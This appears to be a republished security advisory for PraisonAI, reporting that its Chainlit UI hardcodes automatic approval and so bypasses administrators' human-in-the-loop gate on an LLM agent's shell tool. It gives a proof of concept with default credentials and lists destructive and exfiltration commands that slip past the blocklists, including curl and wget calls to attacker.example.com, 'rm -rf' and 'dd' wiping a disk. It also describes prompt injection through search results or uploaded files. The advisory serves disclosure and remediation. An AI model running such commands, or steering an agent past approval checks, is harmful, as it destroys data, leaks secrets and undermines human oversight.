GHSA-qwgj-rrpj-75xm
HIGHPraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution
Blast Radius
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.
Details
The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.
However, both UI modules unconditionally override this after loading:
chat.py:156-159:
config = ToolConfig.from_env() # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto" # hardcoded override, ignoring admin config
code.py:155-158:
config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto" # same hardcoded override
This flows to agent_tools.py:347-348 in the acp_execute_command function:
auto_approve = runtime.config.approval_mode == "auto" # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)
The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:
result = subprocess.run(
step.target,
shell=True, # shell execution
capture_output=True,
text=True,
cwd=str(workspace),
timeout=30
)
Command sanitization is insufficient. Two blocklists exist:
_sanitize_command()atagent_tools.py:60-86blocks:$(,`,&&,||,>>,>,|,;,&,\n,\r_apply_step()ataction_orchestrator.py:449blocks:;,&,|,$,`
Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.
PoC
Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.
# Step 1: Start the Chainlit UI
praisonai ui chat
# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin
# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"
# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat
# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override
Commands that bypass sanitization blocklists:
rm -rf /home/user/documents— no blocked characterschmod 777 /etc/shadow— no blocked characterscurl http://attacker.example.com/exfil— no blocked characterswget http://attacker.example.com/backdoor -O /tmp/backdoor— no blocked characterspython3 -c "__import__('os').unlink('/important/file')"— no blocked characters
Impact
- Arbitrary command execution: An authenticated user (or attacker with default
admin/admincredentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process. - Confidentiality breach: Read arbitrary files accessible to the process (
/etc/passwd, application secrets, environment variables containing API keys). - Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
- Availability impact: Kill processes, consume disk/memory, delete critical data.
- Administrator control undermined: Even administrators who explicitly set
PRAISON_APPROVAL_MODE=manualto require human approval have their configuration silently overridden, creating a false sense of security. - Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.
Recommended Fix
Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:
# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto" # Trust mode - auto-approve all tool executions
# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval
Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:
import shlex
ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}
def _sanitize_command(command: str) -> str:
# Existing blocklist checks...
# Additionally, check the base command against allowlist
try:
parts = shlex.split(command)
except ValueError:
raise ValueError(f"Could not parse command: {command!r}")
base_cmd = os.path.basename(parts[0]) if parts else ""
if base_cmd not in ALLOWED_COMMANDS:
raise ValueError(
f"Command {base_cmd!r} is not in the allowed command list. "
f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
)
return command
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.128 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update praisonai to 4.5.128 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qwgj-rrpj-75xm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qwgj-rrpj-75xm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qwgj-rrpj-75xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qwgj-rrpj-75xm in your dependencies?
O3 detects GHSA-qwgj-rrpj-75xm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.